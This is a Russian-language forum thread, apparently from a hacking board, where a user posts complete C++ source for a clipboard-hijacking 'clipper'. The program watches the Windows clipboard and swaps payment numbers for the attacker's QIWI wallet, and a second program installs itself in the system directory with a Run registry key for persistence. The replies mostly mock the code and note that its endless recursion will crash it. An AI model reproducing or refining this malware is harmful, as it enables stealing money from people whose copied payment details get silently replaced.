Загрузка...

The simplest C++ clipper

Thread in C/C++ created by DildoBeggins Jul 31, 2018. 712 views

  1. DildoBeggins
    DildoBeggins Topic starter Jul 31, 2018 Banned 39 Jan 2, 2018
    Файл Создать Проект Visual C++ Проект Vin32 Далее Приложение и пустой проект
    Проект Добавить новый элемент Файл Cpp и задаем название
    Кидаем код
    Code

    #include <windows.h>
    #include <atomic>
    #include <string>
    #include <vector>
    #include <iostream>
    #include <memory>
    #include <algorithm>
    #include <conio.h>
    #include <winnt.h>


    using namespace std;


    auto get_clipboard_text() -> std::wstring
    {
    std::wstring return_value = L"";

    if (!OpenClipboard(nullptr))
    {
    CloseClipboard();
    return return_value;
    }

    HGLOBAL m_clipboard_data = GetClipboardData(CF_UNICODETEXT);

    if (m_clipboard_data == static_cast< HGLOBAL >(nullptr))
    {
    CloseClipboard();
    return return_value;
    }

    WCHAR* m_text = static_cast< WCHAR* >(GlobalLock(m_clipboard_data));

    if (m_text == nullptr)
    {
    CloseClipboard();
    return return_value;
    }

    return_value = m_text;

    if (!GlobalUnlock(m_clipboard_data))
    return L"";

    CloseClipboard();

    return return_value;
    }

    auto copy_text_to_clipboard(const char* text) -> void
    {
    if (OpenClipboard(nullptr))
    {
    EmptyClipboard();

    char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH));
    lstrcpyA(clip_data, text);

    SetClipboardData(CF_TEXT, static_cast< void* >(clip_data));

    ULONG* ulong = static_cast< ULONG* >(GlobalAlloc(GMEM_FIXED, sizeof(ULONG)));

    *ulong = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT);

    SetClipboardData(CF_LOCALE, static_cast< void* >(ulong));

    CloseClipboard();
    }
    }

    auto main_clipper() -> void
    {

    auto buf = get_clipboard_text();

    auto wallet_qiwi = "88005553535"; // Менять на Ваш номер

    if (buf.find(L"38") != std::wstring::npos)
    copy_text_to_clipboard(wallet_qiwi);
    else if (buf.find(L"7") != std::wstring::npos)
    copy_text_to_clipboard(wallet_qiwi);

    Sleep(100);

    return main_clipper();
    }

    auto WINAPI WinMain(HMODULE, HMODULE, char*, int) -> BOOL
    {

    main_clipper();

    _getch();
    }

    Следом делаем код для автозагрузки клиппера
    Code

    #include <windows.h>

    int main()
    {
    HKEY hk;
    char fullpath[1024],
    sysbuf[256];

    GetModuleFileName(GetModuleHandle(NULL), fullpath, 1024);

    char* fname = strrchr(fullpath, '\\');
    GetSystemDirectory(sysbuf, 256);

    strcat(sysbuf, fname);

    CopyFile(fullpath, sysbuf, false);

    RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);

    RegSetValueEx(hk, "LOLZTEAM", 0, REG_SZ, (LPBYTE)sysbuf, strlen(sysbuf));
    RegCloseKey(hk);


    return 0;
    }
     
  2. anefe
    anefe Jul 31, 2018 Banned 401 Oct 28, 2017
    разве тут не нужно добавлять заголовочные Файлы?
     
  3. DildoBeggins
    DildoBeggins Topic starter Jul 31, 2018 Banned 39 Jan 2, 2018
    хуле нам колхозникам
     
  4. fullydie
    fullydie Jul 31, 2018 Banned 159 Dec 3, 2017
    клиппер это ?
     
  5. DildoBeggins
    DildoBeggins Topic starter Jul 31, 2018 Banned 39 Jan 2, 2018
    Что он делает? Чекает буфер обмена на те самые заветные цифры и меняет их на твой кошелек
     
  6. zaebalo
    Да
    Да
    Да
     
  7. DildoBeggins
    DildoBeggins Topic starter Jul 31, 2018 Banned 39 Jan 2, 2018
    Это С++ :podumai: :what2:
     
  8. fullydie
    fullydie Jul 31, 2018 Banned 159 Dec 3, 2017
    и я о том же ))
     
  9. PPaz
    PPaz Jul 31, 2018 Banned 0 Jun 4, 2018
    Стек переполнится и упадёт программа
     
  10. Спермохлёб2004
    Такого говнокода я еще не видел
     
Loading...
Top